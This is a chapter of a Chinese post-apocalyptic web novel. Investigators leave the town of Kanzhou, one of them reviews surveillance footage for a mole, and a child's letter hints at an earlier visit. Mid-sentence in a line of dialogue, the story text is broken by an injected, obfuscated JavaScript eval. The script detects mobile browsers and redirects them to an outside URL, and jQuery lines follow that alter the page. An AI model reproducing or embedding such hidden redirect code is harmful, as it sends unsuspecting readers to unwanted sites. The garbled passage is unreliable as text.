44. 第 44 章
作品:《后灾厄时代[废土]》 这是一个从未设想过的角度,但也不是没有可能性。
侦查路线从上级部门发到各位侦查员手中的时候,已经是下午临近下班的时间点,但这台手机的记事本中显示,笔记编辑的时间是凌晨,远比他们收到信息的时间要早。
但在这二十个小时内到底发生了什么,两个信息到底谁更早出现,没有人能够说清。
再者,若这个地址信息真的是进化神教留下来的,他们到底想要做什么?为什么负责这条路线的队伍偏偏是他们呢?
疑点重重,前路是大雾弥漫,什么都看不清楚。
“问题的答案,或许到了西邻就清楚了。”杨华枝说道,关掉了显示屏上的图像,“走吧,回去收拾东西。”
入秋的清晨天色灰沉,阳光透不过云层,高耸的树影乌压压盖下,透着一股寒凉萧瑟的气息。
别墅的铁门大开着,院子里的侦查员正将行李一件件地往车上搬。
带来的东西一件不留,不属于他们的东西一件没带走。
他们收拾东西的动静不大,但住在翡翠府旁的原住民还是掀开门窗,远远看了过来。所有人都知道,今天这群侦查员要离开了。侦查队在勘州只待了十几天,与他们都打过交道,但关系不算密切,勘州人没有去找侦查员的麻烦,侦查员除了剿灭丧尸以外也没有给他们带来什么直接的收益,双方之间的交流不多,维持着一种微妙的疏离,井水不犯河水。
这种情况在侦查员看来,已经是万事大吉了。没有人员伤亡也没有财产损失,这就是最理想的任务状态。
他们将别墅的内置家具全部复原以后,趁着天色刚亮,准备驱车离开勘州。回头时,远远看见一群勘州人们围在远处,静立看着他们。侦查员没有前去和他们道别的打算,只是默默地离开,一同来时那样。
在分配车辆时,陈佳佳率先挤上了唐煜的车,占据了原本属于金满的后座。金满拉开门看见骤然出现在自己座位上的人,啧了一声,钻进去,朝他踢了一脚:“劳驾挪开腿。”然后从座位底下的抽屉里抽出自己的包裹,拎着包就上了别的车辆。
车里坐着的都是熟人,除了唐煜陈佳佳孙行舟以外,便是杨华枝和刘麒麟。陈佳佳坐在后座上,掏出一整袋的摄像头和监听器,用电脑连接着,加倍速地翻看着监控视频。
房间内有监控的事情在安装的第一天就已经告诉了所有人,虽然不知道监控的位置,但大家都会有意识地避免在房间里做什么过分的事情,当然,一个房间住着五个人,也没有什么人会在大庭广众之下做什么过分的事情。
监控的主要监控对象不是侦查员本身,而是白天任务期间,来“走访”他们基地的那些人。
陈佳佳托着腮,看着监控器上出现的一个又一个熟面孔。果然,在他们驻扎地里四处翻找,试图捡拾他们遗落资源的人可不少。好在他们白天出行任务的时候把所有个人物品都带上了,房间里干干净净,什么都没有。那些人在房间里翻来覆去,不死心地将床垫都掀了起来,在一无所获以后,终于是愤愤地离开了房子。
来他们房子里翻找的人,都是为了资源来的,没有什么作坏的人,也没有行迹诡异的人。陈佳佳靠在椅背上,任由着电脑上的视频八倍速播放着。到了侦查员回到房子的那一刻,他放缓了视频的速度。
找到可疑的原住民是他的其中一个目的,他的另一个目的,是找到队伍中的内鬼。虽然他知道,以内鬼的聪明程度,绝不可能这么轻易就暴露,要不然,那个人也不至于藏到今天。他的视线从一个个人身上扫过,扫过他们的动作、他们的表情。在他看来,越是心里有鬼的人,越是会留意房间里监控器的存在,越是会不自觉地用视线在房间里翻找着,知道看见监控器的那一刻才会安心……
等等。
陈佳佳眯起眼,看着视频里从卫生间里出来的唐煜抹了一把湿润的头发,发尾的水珠滴落在灰色的薄衣上,留下一个个黑褐色的印记,很快,印迹晕染开,又被体温所蒸发。他拉上作战服的拉链,将别扣扣好,对着镜子捯饬了一下自己的头发,将头盔扣上,离开时眼神极其不刻意地扫过桌子下方的摄像头。
“???”
他看了一眼视频上方的时间——04:20。
大清早不睡觉起来洗漱?
陈佳佳抬起头看去,视线透过中央后视镜,正好与唐煜对上,只是一瞬,他从他眼神中读出了他的话——看什么看,再看就把你头砍下来。
陈佳佳忍住笑意低下头,将进度条往回拉,将那段视频重新看了一遍。
这真的是唐煜做得出来的事情吗?
或许他真的,对这个人还不够了解。
他点开下一个房间的监控器时,脸上的笑意凝固了。他看了一眼时间,又打开了上一个视频。他十指相握,沉默地看着屏幕上的两个人先后离开了房子。
往后的十几个视频里,时间线都巧合地对上了。
此时陈佳佳的脑子里只剩下一个想法。
过去那几天他在唐煜身上察觉到的种种异样此时在脑中重新被翻出,一切都有了最好的解释,那就是,唐煜恋爱了。
在他不知道的时候,唐煜和杨华枝居然谈上了!
一想到这个可能性,陈佳佳眼前发黑。这个突如其来的意外打乱了他所有的计划,此事弊远远大于利。
一个无依无靠,没有牵挂的人最好控制,但一旦他的关系网复杂起来,有了牵挂,就会束手束脚。
更何况,杨华枝的背景到底是什么,他还不清楚。虽说,如果杨华枝背后真的有背景,就不至于发配到侦查队来,但就目前她的种种行为迹象来看,她似乎没有她表面上展现得那么简单。
如果杨华枝和所有人都没有什么交集,他会觉得,她是个能用的人,但现在,他突然又觉得她是有备而来的。
他开始怀疑,她到底可不可信?她和内鬼有没有联系?唐煜会不会把手头上的情报告诉她?
如今信号断开,陈佳佳没有办法去对接自己的情报网。
失算了。
不对,从一开始他就没有做好,他应该早早将所有人的信息都查清楚,除了表面的身份信息以外还有别的……
学校、人际关系、风评、家庭网络……
不对,他手头的资源还不够多,如果他有更多的人脉,就能查到更深一层的信息……
电脑屏幕上的画面还在飞速变动着,但陈佳佳的眼神却飘忽无定,耳边杂乱的骂声像是流水一样钻进他的耳朵。
“废物,你还是和以前一样。”
“真没用。”
“就你这样的人,怎么和其他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615939|166166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人争?”
……
“哐!”
车厢突然震荡一下,里面的人和行李猛地向一侧倒去。
唐煜把油门踩死,车轮带着泥沙飞溅,离开了土坑。
“没事吧?”孙行舟回过头问道。
陈佳佳猛地回过神来,下意识想要摸自己的脸,才回过神来,原来自己刚刚又犯病了。他低下头去,电脑在刚刚的震动下,已经滚到了地上。
“没事。”杨华枝捡起一旁歪倒的箱子,视线一偏,落在了陈佳佳掉在脚旁的电脑上。
屏幕上的画面还在播放。杨华枝看着屏幕上的画面,皱起了眉。
陈佳佳将电脑盖了起来,遮挡住了她的视线。
陈佳佳的头盔开了单向防窥模式,杨华枝看不到他的表情,但从他的动作来看,她用脚趾头想都知道,这个人肯定是满脸戒备。
杨华枝扯了扯嘴角,友善地提醒他:“刚刚的视频,建议你仔细看一遍,有惊喜哦。”
陈佳佳狐疑地低下头,重新打开屏幕,屏幕上两个视频还在持续播放着,但没有看出什么异样。视频的时间正好是在白天,他们出去执行任务的时候。一群原住民照例来他们的房间翻找着,不死心地试图搜到什么有用的东西。
他将视频的进度条往前拉,正好看到一个孩子放大的脸,他左右看了一眼,将一个东西放在了抽屉里,然后转身跑开。
陈佳佳眼神一凝,按下倍速键,一群人争先恐后地涌了进来,这是他们收队以后,队员回到房间的时候。他的眼睛紧紧盯着屏幕上的画面,直到一个人拉开了抽屉,将里面的东西取走。
那是一张白色的纸,又或者是信,字迹很浅,单从背面看不出纸上到底写了什么东西。
那个人看着那张纸,轻笑一下。她将纸折了起来,放进了随身的金属箱里。
徐真真。
隔离中心的外派员工。
陈佳佳看见这一幕,皱起了眉头。徐真真从来没有说过,她在房间里拿走了这张纸,也没有说过纸上写着什么,按道理说,这种突然出现的物件是要统一上交由他保管的。但徐真真没有报备,悄悄把这个东西收了起来。这到底是什么?
“一封写给我的感谢信,这也要上交吗?”
徐真真坐在座位上,看着车门外俯视自己的陈佳佳,缓缓说道:“您想看,那就看吧。”
她解开身旁的箱子,箱子打开,她的手指挑开装着空试管的隔棉,抽出一张泛黄的薄纸,纸上画的是花和几个拉手的小人,以及几个歪歪扭扭的铅笔字。
“谢谢姐姐治好我奶奶,下次再来。”
“下次再来?”
“那个小孩说,他家今年刚买了配种的兔子,等明年我们再来这里的时候,他就送几只给我们。”
陈佳佳把纸还给了徐真真:“侦查队只会来一次,下次再来的就不是我们,而是负责开发安全区的公司了。”
徐真真歪了歪头:“可是那个孩子明明说,去年侦查队也来过这里。”
“不可能。”陈佳佳下意识否认了她的话,“每一个地区,侦查队只会侦查一次,在档案记录里,这是侦查队第一次抵达勘州。”
徐真真话里带着几分凉薄:“话不是我说的,我也不是侦查队的人,来没来过,就问你们自己了。”